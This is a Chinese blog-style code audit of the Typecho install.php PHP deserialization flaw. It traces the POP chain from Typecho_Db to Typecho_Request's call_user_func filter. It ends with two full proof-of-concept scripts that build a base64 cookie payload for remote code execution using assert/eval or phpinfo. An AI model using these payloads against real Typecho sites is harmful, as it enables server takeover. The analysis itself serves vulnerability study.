PHP审计之PHP反序列化漏洞

PHP审计之PHP反序列化漏洞前言一直不懂,PHP反序列化感觉上比Java的反序列化难上不少。但归根结底还是serialize和unserialize中的一些问题。在此不做多的介绍。魔术方法

大家好,又见面了,我是全栈君,祝每个程序员都可以多学几门语言。

PHP审计之PHP反序列化漏洞

前言

一直不懂,PHP反序列化感觉上比Java的反序列化难上不少。但归根结底还是serializeunserialize中的一些问题。

在此不做多的介绍。

魔术方法

在php的反序列化中会用到各种魔术方法

__wakeup() //使用unserialize时触发
__sleep() //使用serialize时触发
__destruct() //对象被销毁时触发
__call() //在对象上下文中调用不可访问的方法时触发
__callStatic() //在静态上下文中调用不可访问的方法时触发
__get() //用于从不可访问的属性读取数据
__set() //用于将数据写入不可访问的属性
__isset() //在不可访问的属性上调用isset()或empty()触发
__unset() //在不可访问的属性上使用unset()时触发
__toString() //把类当作字符串使用时触发,不仅仅是echo的时候,比如file_exists()判断也会触发
__invoke() //当脚本尝试将对象调用为函数时触发

代码审计

寻觅漏洞点

定位到漏洞代码install.php

 <?php if (isset($_GET['finish'])) : ?>
                <?php if (!@file_exists(__TYPECHO_ROOT_DIR__ . '/config.inc.php')) : ?>
                <h1 class="typecho-install-title"><?php _e('安装失败!'); ?></h1>
                <div class="typecho-install-body">
                    <form method="post" action="?config" name="config">
                    <p class="message error"><?php _e('您没有上传 config.inc.php 文件,请您重新安装!'); ?> <button class="btn primary" type="submit"><?php _e('重新安装 &raquo;'); ?></button></p>
                    </form>
                </div>
                <?php elseif (!Typecho_Cookie::get('__typecho_config')): ?>
                <h1 class="typecho-install-title"><?php _e('没有安装!'); ?></h1>
                <div class="typecho-install-body">
                    <form method="post" action="?config" name="config">
                    <p class="message error"><?php _e('您没有执行安装步骤,请您重新安装!'); ?> <button class="btn primary" type="submit"><?php _e('重新安装 &raquo;'); ?></button></p>
                    </form>
                </div>
                <?php else : ?>
                    <?php
                    $config = unserialize(base64_decode(Typecho_Cookie::get('__typecho_config')));
                    Typecho_Cookie::delete('__typecho_config');
                    $db = new Typecho_Db($config['adapter'], $config['prefix']);
                    $db->addServer($config, Typecho_Db::READ | Typecho_Db::WRITE);
                    Typecho_Db::set($db);
                    ?>

前面的几个判断比较简单,判断finish传参的值是否存在,然后判断/config.inc.php文件是否存在,按照惯例,在php安装完成后,会建立一个标识文件,进行识别程序是否安装,避免重复安装问题。

后面代码即走到这一步

 <?php
                    $config = unserialize(base64_decode(Typecho_Cookie::get('__typecho_config')));
                    Typecho_Cookie::delete('__typecho_config');
                    $db = new Typecho_Db($config['adapter'], $config['prefix']);
                    $db->addServer($config, Typecho_Db::READ | Typecho_Db::WRITE);
                    Typecho_Db::set($db);
                    ?>

接收Cookie中__typecho_config的值,进行base64解密后再反序列化的操作。将反序列化后的数据存到$config中,来到下面,清空cookie的值,然后实例化一个Typecho_Db对象,将$config['adapter']$config['prefix']进行存储到该对象中。

寻找POP链

这时候需要寻找一个pop链,在PHP中一般以__construct__destruct方法来做反序列化反序列化的第一个触发点,而在Java里面则是需要反序列化的该对象被重写后的readObject方法。

来看到Db.php文件

 public function __construct($adapterName, $prefix = 'typecho_')
    {
        /** 获取适配器名称 */
        $this->_adapterName = $adapterName;

        /** 数据库适配器 */
        $adapterName = 'Typecho_Db_Adapter_' . $adapterName;

        if (!call_user_func(array($adapterName, 'isAvailable'))) {
            throw new Typecho_Db_Exception("Adapter {$adapterName} is not available");
        }

        $this->_prefix = $prefix;

        /** 初始化内部变量 */
        $this->_pool = array();
        $this->_connectedPool = array();
        $this->_config = array();

        //实例化适配器对象
        $this->_adapter = new $adapterName();
    }

这里的$adapterName变量并且了一串Typecho_Db_Adapter_字符串,假设$adapterName为一个对象的话,即可触发到__toString()方法。

PHP审计之PHP反序列化漏洞

寻找__toString方法

Feed.php __toString方法代码

 foreach ($links as $link) {
                $result .= '<rdf:li resource="' . $link . '"/>' . self::EOL;
            }

            $result .= '</rdf:Seq>
</items>
</channel>' . self::EOL;

            $result .= $content . '</rdf:RDF>';

        } else if (self::RSS2 == $this->_type) {
            ...
        }

self::RSS2 == $this->_type中比较是否对等,self::RSS2RSS 2.0字符串。

所以说需要走到这个判断条件下的逻辑在需要构造$this->_type这个数据。

            $content = '';
            $lastUpdate = 0;

            foreach ($this->_items as $item) {
                $content .= '<item>' . self::EOL;
                $content .= '<title>' . htmlspecialchars($item['title']) . '</title>' . self::EOL;
                $content .= '<link>' . $item['link'] . '</link>' . self::EOL;
                $content .= '<guid>' . $item['link'] . '</guid>' . self::EOL;
                $content .= '<pubDate>' . $this->dateFormat($item['date']) . '</pubDate>' . self::EOL;
                $content .= '<dc:creator>' . htmlspecialchars($item['author']->screenName) . '</dc:creator>' . self::EOL;
                ...
            }

下面这里调用了$item['author']->screenName,如果 $item[‘author’] 中存储的类没有’screenName’属性或该属性为私有属性,此时会触发该类中的 __get() 魔法方法.

寻找__get方法

/var/Typecho/Request.php

public function __get($key)
    {
        return $this->get($key);
    }

$key 传入的值为 scrrenName

 public function get($key, $default = NULL)
    {
        switch (true) {
            case isset($this->_params[$key]):
                $value = $this->_params[$key];
                break;
            case isset(self::$_httpParams[$key]):
                $value = self::$_httpParams[$key];
                break;
            default:
                $value = $default;
                break;
        }

        $value = !is_array($value) && strlen($value) > 0 ? $value : $default;
        return $this->_applyFilter($value);
    }

$this->_params[$key]值存在,即将该值赋值给$value,然后判断该值不等于数组和小于0则数据不变。

然后调用$this->_applyFilter($value)

继续看到_applyFilter

private function _applyFilter($value)
    {
        if ($this->_filter) {
            foreach ($this->_filter as $filter) {
                $value = is_array($value) ? array_map($filter, $value) :
                call_user_func($filter, $value);
            }

            $this->_filter = array();
        }

        return $value;
    }

关键地方在于上面代码中,判断$this->_filter是否存在并且遍历filter,假设上面传入的$value为数组则调用array_map($filter, $value),否则则调用call_user_func($filter, $value)

这两个都回调方法都可以进行代码代码执行。

调用链:

Typecho_Db.__construct -> Typecho_Feed.__toString ->Typecho_Request.__get -> Typecho_Request.get -> Typecho_Request._applyFilter

构造POP链

来看看需要构造的数据

  1. Typecho_Db__construct 方法$adapterName变量需要为一个对象,并且是能触发到一个点的对象。根据上面寻找到的是Typecho_Feed这个实例化对象拼接字符串的话,会触发__toString 。因此这个方法的参数第一个传递Typecho_Feed,而第二个参数传递typecho_

  2. 上面分析Feed这个点的时候,需要将self::RSS2设置为RSS 2.0,这个$this->_items[author]传入一个不存在或者是方法为私有属性的screenName方法的类。这样可以去自动去调用__get。在上面寻找到的是Typecho_Request,所以这里传入一个Typecho_Request实例化对象。进行自动调用__get

  3. Typecho_Request198行中$this->_params[$key]这个key的值是scrrenName,即为$this->_params[scrrenName],则这个值需要设置为一个需要执行的代码。

  4. 最后走到_applyFilter这里遍历了$this->_filter后,进行调用array_mapcall_user_func,并且分别传入$filter, $value。那么这里即需要设置一个$this->_filter为一个代码执行的方法。那么即可把整一个链给到代码执行给串联起来。

调试POP链

但是当我们按照上面的所有流程构造poc之后,发请求到服务器,却会返回500.

install.php的开始,调用了ob_start()

bool ob_start ([ callback $output_callback [, int $chunk_size [, bool $erase ]]] )

此函数将打开输出缓冲。当输出缓冲激活后,脚本将不会输出内容(除http标头外),相反需要输出的内容被存储在内部缓冲区中。(因此可选择回调函数用于处理输出结果信息)

该函数可以让你自由地控制脚本中数据的输出。比如可以用在输出静态化页面上。而且,当你想在数据已经输出后,再输出文件头的情况。输出控制函数不对使用 header() 或 setcookie(), 发送的文件头信息产生影响,只对那些类似于 echo() 和 PHP 代码的数据块有作用。原因是当打开了缓冲区,echo后面的字符不会输出到浏览器,而是保留在服务器,直到你使用flush或者ob_end_flush才会输出,所以并不会有任何文件头输出的错误。

因为我们上面对象注入的代码触发了原本的exception,导致ob_end_clean()执行,原本的输出会在缓冲区被清理。

我们必须想一个办法强制退出,使得代码不会执行到exception,这样原本的缓冲区数据就会被输出出来。

这里有两个办法。 1、因为call_user_func函数处是一个循环,我们可以通过设置数组来控制第二次执行的函数,然后找一处exit跳出,缓冲区中的数据就会被输出出来。 2、第二个办法就是在命令执行之后,想办法造成一个报错,语句报错就会强制停止,这样缓冲区中的数据仍然会被输出出来。

这里使用的是上面说的第二个办法。

<?php

	class Typecho_Feed{
		private $_type;
		private $_items = array();

		public function __construct(){
			$this->_type = "RSS 2.0";
			$this->_items = array(
				array(
					"title" => "test",
					"link" => "test",
					"data" => "20190430",
					"author" => new Typecho_Request(),
				),
			);
		}
	}

	class Typecho_Request{
		private $_params = array();
		private $_filter = array();

		public function __construct(){
			$this->_params = array(
				"screenName" => "eval('phpinfo();exit;')",
			);
			$this->_filter = array("assert");
		}
	}

	$a = new Typecho_Feed();

	$c = array(
		"adapter" => $a,
		"prefix" => "test",
	);

	echo base64_encode(serialize($c));

PHP审计之PHP反序列化漏洞

另外一个方法,直接mark过来,POC如下:

<?php
class Typecho_Request
{
    private $_params = array();
    private $_filter = array();

    public function __construct()
    {
        // $this->_params['screenName'] = 'whoami';
        $this->_params['screenName'] = -1;
        $this->_filter[0] = 'phpinfo';
    }
}

class Typecho_Feed
{
    const RSS2 = 'RSS 2.0';
    /** 定义ATOM 1.0类型 */
    const ATOM1 = 'ATOM 1.0';
    /** 定义RSS时间格式 */
    const DATE_RFC822 = 'r';
    /** 定义ATOM时间格式 */
    const DATE_W3CDTF = 'c';
    /** 定义行结束符 */
    const EOL = "\n";
    private $_type;
    private $_items = array();
    public $dateFormat;

    public function __construct()
    {
        $this->_type = self::RSS2;
        $item['link'] = '1';
        $item['title'] = '2';
        $item['date'] = 1507720298;
        $item['author'] = new Typecho_Request();
        $item['category'] = array(new Typecho_Request());

        $this->_items[0] = $item;
    }
}

$x = new Typecho_Feed();
$a = array(
    'host' => 'localhost',
    'user' => 'xxxxxx',
    'charset' => 'utf8',
    'port' => '3306',
    'database' => 'typecho',
    'adapter' => $x,
    'prefix' => 'typecho_'
);
echo urlencode(base64_encode(serialize($a)));
?>

参考

[红日安全]代码审计Day11 – unserialize反序列化漏洞

Typecho-反序列化漏洞学习

Typecho 前台 getshell 漏洞分析

结尾

PHP的反序列化相当于Java的反序列化个人感觉PHP的反序列化比较灵活,可以结合各种魔术方法做联动。

版权声明:本文内容由互联网用户自发贡献,该文观点仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容, 请发送邮件至 举报,一经查实,本站将立刻删除。

发布者:全栈程序员-用户IM,转载请注明出处:https://javaforall.cn/119835.html原文链接:https://javaforall.cn

【正版授权,激活自己账号】: Jetbrains全家桶Ide使用,1年售后保障,每天仅需1毛

【官方授权 正版激活】: 官方授权 正版激活 支持Jetbrains家族下所有IDE 使用个人JB账号...

(0)


相关推荐

  • 电脑蓝屏0x000000f4解决步骤_0x000000c4开机就蓝屏

    电脑蓝屏0x000000f4解决步骤_0x000000c4开机就蓝屏电脑蓝屏的问题是大家最常见到的电脑问题之一,大多时候蓝屏故障的出现都和软件有关,少数为硬件不兼容或者故障导致。这里粗略的分析下STOP:0x000000F4字段的问题,仅做参考!以下先来看看网友是怎么分析与解决问题的吧!蓝屏代码0x000000f4原因分析:知道了原因,那么就下手解决类似问题就轻松了。1.先从软处着手,如运行莫软件导致错误,建议重装该软件,一般均可解决。2.考虑是否有其它软件同时运行导致冲突的或者主机配置内存过小导致内存溢出或者耗竭的(如采用XP系统建议配置512MB内存以上或.

  • 深入浅出vue_深入浅出pandas

    深入浅出vue_深入浅出pandasaboutStream什么是流?Stream是java8中新增加的一个特性,被java猿统称为流.Stream不是集合元素,它不是数据结构并不保存数据,它是有关算法和计算的,它更像一个高级版本的Iterator。原始版本的Iterator,用户只能显式地一个一个遍历元素并对其执行某些操作;高级版本的Stream,用户只要给出需要对其包含的元素执行什么操作,比如“过滤掉长度大于1

    2022年10月23日
  • Linux中的压缩解压缩命令

    Linux中的压缩解压缩命令常用压缩格式:.zip,.gz,.bz2,tar.gz,.tar.bz2Linux中常用的软件包都是用红色展示的压缩文件不一定比原文件小,因为压缩文件还包括压缩格式,当原文件比较小时,压缩文

  • SPSS篇—卡方检验「建议收藏」

    SPSS篇—卡方检验「建议收藏」今天依旧跟大家分享一个在SPSS中使用率比较高的分析方法:卡方检验。在开始做分析之前,我们需要明白两件事情:卡方检验是什么?一般用来干什么?我们只有充分了解分析方法以后才能够正确的使用它。卡方检验在百科中的解释是:卡方检验是用途非常广的一种假设检验方法,它在分类资料统计推断中的应用,包括:两个率或两个构成比比较的卡方检验;多个率或多个构成比比较的卡方检验以及分类资料的相关分析等。它的原理是…

  • 隐性域名转发html代码,你知道显性URL转发/隐性URL转发记录添加方式吗

    隐性域名转发html代码,你知道显性URL转发/隐性URL转发记录添加方式吗显性URL转发/隐性URL转发其实URL转发里面的两种转发方式,根据跳转后的是否改变域名来判断显性还是隐形。当然根据不同的需要,可以选择不同的转发方式。今天小编为大家介绍的是隐/显性URL转发记录添加方式。显性URL转发/隐性URL转发URL是统一资源定位符,对可以从互联网上得到的资源的位置和访问方法的一种简洁的表示,是互联网上标准资源的地址。互联网上的每个文件都有一个唯一的URL,它包含的信息指…

    2022年10月18日
  • linux centos安装wine qq,ubuntu安装wine QQ「建议收藏」

    linux centos安装wine qq,ubuntu安装wine QQ「建议收藏」题外话:在使用win7,8的时候,发现如果硬盘存有大量文件的时候,笔记本自带的渣渣机械硬盘读取会很慢。而win10在硬盘读取方面的优化,确实比前几个版本好。但是,随之出现的问题是,内存不够用。后来上手linux,才发现这才是真爱。装过ubuntu,centos。总结ubuntu更适合日常的使用。顺带说一句,16.04TLS,装入很多大型IDE和虚拟机的时候,4G也是有点抗不住。开始正题:首先,安装…

发表回复

您的电子邮箱地址不会被公开。

关注全栈程序员社区公众号